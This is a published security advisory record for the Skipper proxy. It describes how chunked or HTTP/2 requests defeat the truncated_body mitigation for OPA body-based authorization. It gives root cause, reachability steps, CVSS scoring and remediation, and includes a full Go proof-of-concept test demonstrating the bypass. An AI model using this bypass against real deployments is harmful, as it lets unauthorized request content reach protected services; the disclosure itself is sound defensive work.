{"id":"GHSA-5gpm-rgj3-9q76","summary":"Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734)","details":"- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` → `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` → `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`.\n- **Affected versions:** `\u003c= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.\n- **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) → GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant.\n\n## Summary\n\nSkipper's `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`):\n\n```rego\ndefault allow := false\nallow if {\n    input.truncated_body == false\n    # ... body-based conditions\n}\n```\n\nThat mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper's `bufferedBodyReader` streams the buffered prefix and then continues draining the original body).\n\nThe transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies.\n\n## Root cause\n\n`opa-envoy-plugin/envoyauth/request.go`:\n\n```go\nfunc getParsedBody(...) (any, bool, error) {\n    if val, ok := headers[\"content-type\"]; ok {\n        if strings.Contains(val, \"application/json\") {\n            ...\n            if val, ok := headers[\"content-length\"]; ok {          // \u003c-- only path that sets truncation\n                truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))\n                ...\n                if truncated { return nil, true, nil }\n            }\n            ...\n        } else if ... \"application/x-www-form-urlencoded\" { /* same content-length gate */ }\n          else if ... \"multipart/form-data\"            { /* same content-length gate */ }\n    }\n    return data, false, nil     // \u003c-- no content-length  ==\u003e truncated_body = false\n}\n\nfunc checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {\n    cl, _ := strconv.ParseInt(contentLength, 10, 64)\n    if cl != -1 && cl \u003e bodyLength { return true, nil }\n    return false, nil\n}\n```\n\nTruncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength \u003c 0`), producing the exact divergence: OPA is told \"not truncated\", but the body was truncated, and the backend receives the whole thing.\n\n## Reachability\n\n1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).\n2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present.\n3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix.\n4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA.\n5. `getParsedBody` finds no `content-length` → `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error.\n6. Policy: `input.truncated_body == false` is satisfied → `allow = true`.\n7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream.\n\nEvery guard on the path is accounted for: the only \"guard\" is `truncated_body`, and it is defeated by omitting `content-length`.\n\n## Impact\n\nBypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).\n\n## CVSS 3.1\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High**\n\n- **AV:N** — remote HTTP request.\n- **AC:L** — single crafted request; no race/special conditions (just chunked framing + padding).\n- **PR:N / UI:N** — unauthenticated, no user interaction.\n- **S:U** — impact within the authorized component/upstream trust scope.\n- **C:N** — no direct disclosure by the bypass itself.\n- **I:H** — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).\n- **A:N** — not primarily an availability issue.\n\n(Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)\n\n## Proof of Concept\n\nExecutable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory's verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream.\n\n- **Positive control** — oversized body **with Content-Length** → `truncated_body=true` → **403** (mitigation works).\n- **Bypass** — identical oversized body sent **chunked** (no Content-Length) → `truncated_body=false` → **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap.\n\nCommand and observed benign output:\n\n```\n$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v\n\n    poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1\n    poc_truncated_body_chunked_test.go:154: [chunked        ] status=200 upstream_body_bytes=66\n--- PASS: TestTruncatedBodyChunkedBypass (0.11s)\nPASS\n```\n\n- content-length variant → **403**, upstream received nothing (`-1`) — mitigation works.\n- chunked variant (byte-identical body) → **200**, upstream received the **full 66-byte** payload past the 32-byte cap — **authorization bypass**.\n\n(Full PoC source is appended below by the submission tool via `--poc-file`.)\n\n## Adversarial re-read (refutation attempts)\n\n- *\"Truncated JSON just fails to parse → fail closed.\"* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases.\n- *\"Maybe Skipper adds a content-length for chunked before OPA sees it.\"* No — `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`.\n- *\"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected.\"* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly.\n- *\"Is this already covered by CVE-2026-50197?\"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.\n\nResult: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).\n\n## Remediation\n\nDo not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat \"body present but not fully inspectable and no content-length\" as truncated rather than defaulting to `false`.\n\n## Confidence\n\nHigh. Root cause verified in both Skipper and the pinned `opa-envoy-plugin@v1.14.1-envoy` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation.\n\n\n## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)\n\n```go\npackage openpolicyagent_test\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\topasdktest \"github.com/open-policy-agent/opa/v1/sdk/test\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/zalando/skipper/eskip\"\n\t\"github.com/zalando/skipper/filters\"\n\t\"github.com/zalando/skipper/filters/builtin\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest\"\n\t\"github.com/zalando/skipper/proxy\"\n\t\"github.com/zalando/skipper/routing\"\n\t\"github.com/zalando/skipper/routing/testdataclient\"\n)\n\n// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734\n// mitigation (\"check input.truncated_body in your policy\") fails OPEN when the\n// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).\n//\n// The mitigation Rego (verbatim from the advisory):\n//\n//\tdefault allow := false\n//\tallow if { input.truncated_body == false }\n//\n// truncated_body is derived by the OPA envoy plugin ONLY when a content-length\n// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody -\u003e\n// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no\n// content-length, so truncated_body stays false even though Skipper truncated\n// the body to max-request-body-size. The mitigated policy therefore ALLOWS an\n// oversized body and the full payload reaches upstream.\nfunc TestTruncatedBodyChunkedBypass(t *testing.T) {\n\tconst maxBody = 32\n\t// oversized url-encoded payload: \"a=\" + 64 * \"A\" = 66 bytes \u003e 32.\n\tpayload := \"a=\" + strings.Repeat(\"A\", 64)\n\n\t// upstream records how many body bytes it actually received.\n\tvar upstreamBytes atomic.Int64\n\tbackend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tn, _ := io.Copy(io.Discard, r.Body)\n\t\tupstreamBytes.Store(n)\n\t\tw.WriteHeader(200)\n\t\tw.Write([]byte(\"OK\"))\n\t}))\n\tdefer backend.Close()\n\n\tbundleName := \"test-bundle\"\n\topaControlPlane := opasdktest.MustNewServer(\n\t\topasdktest.MockBundle(\"/bundles/\"+bundleName, map[string]string{\n\t\t\t// The exact mitigation the advisory recommends.\n\t\t\t\"main.rego\": `\npackage envoy.authz\n\nimport rego.v1\n\ndefault allow := false\n\nallow if {\n    input.truncated_body == false\n}\n`,\n\t\t}),\n\t)\n\tdefer opaControlPlane.Stop()\n\n\tconfig := fmt.Appendf(nil, `{\n\t\t\"services\": {\"test\": {\"url\": %q}},\n\t\t\"bundles\": {\"test\": {\"resource\": \"/bundles/{{ .bundlename }}\"}},\n\t\t\"labels\": {\"environment\": \"test\"},\n\t\t\"plugins\": {\"envoy_ext_authz_grpc\": {\"path\": \"envoy/authz/allow\", \"dry-run\": false}}\n\t}`, opaControlPlane.URL())\n\n\topaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(\n\t\topenpolicyagent.WithPreloadingEnabled(true),\n\t\topenpolicyagent.WithEnableDataPreProcessingOptimization(true),\n\t\topenpolicyagent.WithInstanceStartupTimeout(5*time.Second),\n\t\topenpolicyagent.WithMaxRequestBodyBytes(maxBody),\n\t\topenpolicyagent.WithOpenPolicyAgentInstanceConfig(\n\t\t\topenpolicyagent.WithConfigTemplate(config)),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"opaRegistry: %v\", err)\n\t}\n\tdefer opaRegistry.Close()\n\n\tfr := make(filters.Registry)\n\tfr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))\n\tfr.Register(builtin.NewSetPath())\n\n\tdocFmt := `r1: * -\u003e opaAuthorizeRequestWithBody(\"%s\") -\u003e \"%s\";`\n\tr := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))\n\tdc := testdataclient.New(r)\n\tdefer dc.Close()\n\n\trt := routing.New(routing.Options{\n\t\tFilterRegistry:  fr,\n\t\tDataClients:     []routing.DataClient{dc},\n\t\tPreProcessors:   []routing.PreProcessor{opaRegistry.NewPreProcessor()},\n\t\tPostProcessors:  []routing.PostProcessor{opaRegistry},\n\t\tPollTimeout:     time.Second,\n\t\tSignalFirstLoad: true,\n\t})\n\tdefer rt.Close()\n\t\u003c-rt.FirstLoad()\n\n\tpr := proxy.WithParams(proxy.Params{Routing: rt})\n\tdefer pr.Close()\n\tts := httptest.NewServer(pr)\n\tdefer ts.Close()\n\n\tinst, err := opaRegistry.GetOrStartInstance(bundleName)\n\tassert.NoError(t, err)\n\tassert.NotNil(t, inst)\n\n\tdoReq := func(chunked bool) (int, int64) {\n\t\tupstreamBytes.Store(-1)\n\t\treq, err := http.NewRequest(\"POST\", ts.URL, strings.NewReader(payload))\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"new request: %v\", err)\n\t\t}\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\tif chunked {\n\t\t\t// Force chunked framing: no Content-Length reaches the server,\n\t\t\t// so the server sees req.ContentLength == -1.\n\t\t\treq.ContentLength = -1\n\t\t\treq.TransferEncoding = []string{\"chunked\"}\n\t\t}\n\t\trsp, err := ts.Client().Do(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"do: %v\", err)\n\t\t}\n\t\tio.Copy(io.Discard, rsp.Body)\n\t\trsp.Body.Close()\n\t\treturn rsp.StatusCode, upstreamBytes.Load()\n\t}\n\n\t// POSITIVE CONTROL: oversized body WITH Content-Length.\n\t// truncated_body == true  -\u003e policy denies. Mitigation works as designed.\n\tclStatus, clUpstream := doReq(false)\n\tt.Logf(\"[content-length ] status=%d upstream_body_bytes=%d\", clStatus, clUpstream)\n\tassert.Equal(t, 403, clStatus, \"oversized body with Content-Length must be DENIED (mitigation working)\")\n\n\t// BYPASS: identical oversized body sent CHUNKED (no Content-Length).\n\t// truncated_body == false -\u003e policy ALLOWS -\u003e full payload reaches upstream.\n\tchStatus, chUpstream := doReq(true)\n\tt.Logf(\"[chunked        ] status=%d upstream_body_bytes=%d\", chStatus, chUpstream)\n\n\tassert.Equal(t, 200, chStatus, \"BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation\")\n\tassert.Equal(t, int64(len(payload)), chUpstream,\n\t\t\"BYPASS: upstream received the FULL oversized payload past OPA authorization\")\n}\n\n```","aliases":["CVE-2026-86043","GO-2026-6495"],"modified":"2026-09-28T17:11:13.345846346Z","published":"2026-09-17T17:05:57Z","database_specific":{"nvd_published_at":"2026-09-16T19:17:51Z","cwe_ids":["CWE-863"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-17T17:05:57Z"},"references":[{"type":"WEB","url":"https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86043"},{"type":"WEB","url":"https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507"},{"type":"PACKAGE","url":"https://github.com/zalando/skipper"},{"type":"WEB","url":"https://github.com/zalando/skipper/releases/tag/v0.27.35"},{"type":"WEB","url":"https://github.com/zalando/skipper/releases/tag/v0.27.37"},{"type":"WEB","url":"https://github.com/zalando/skipper/tree/v0.27.35"}],"affected":[{"package":{"name":"github.com/zalando/skipper","ecosystem":"Go","purl":"pkg:golang/github.com/zalando/skipper"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.27.37"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-5gpm-rgj3-9q76/GHSA-5gpm-rgj3-9q76.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}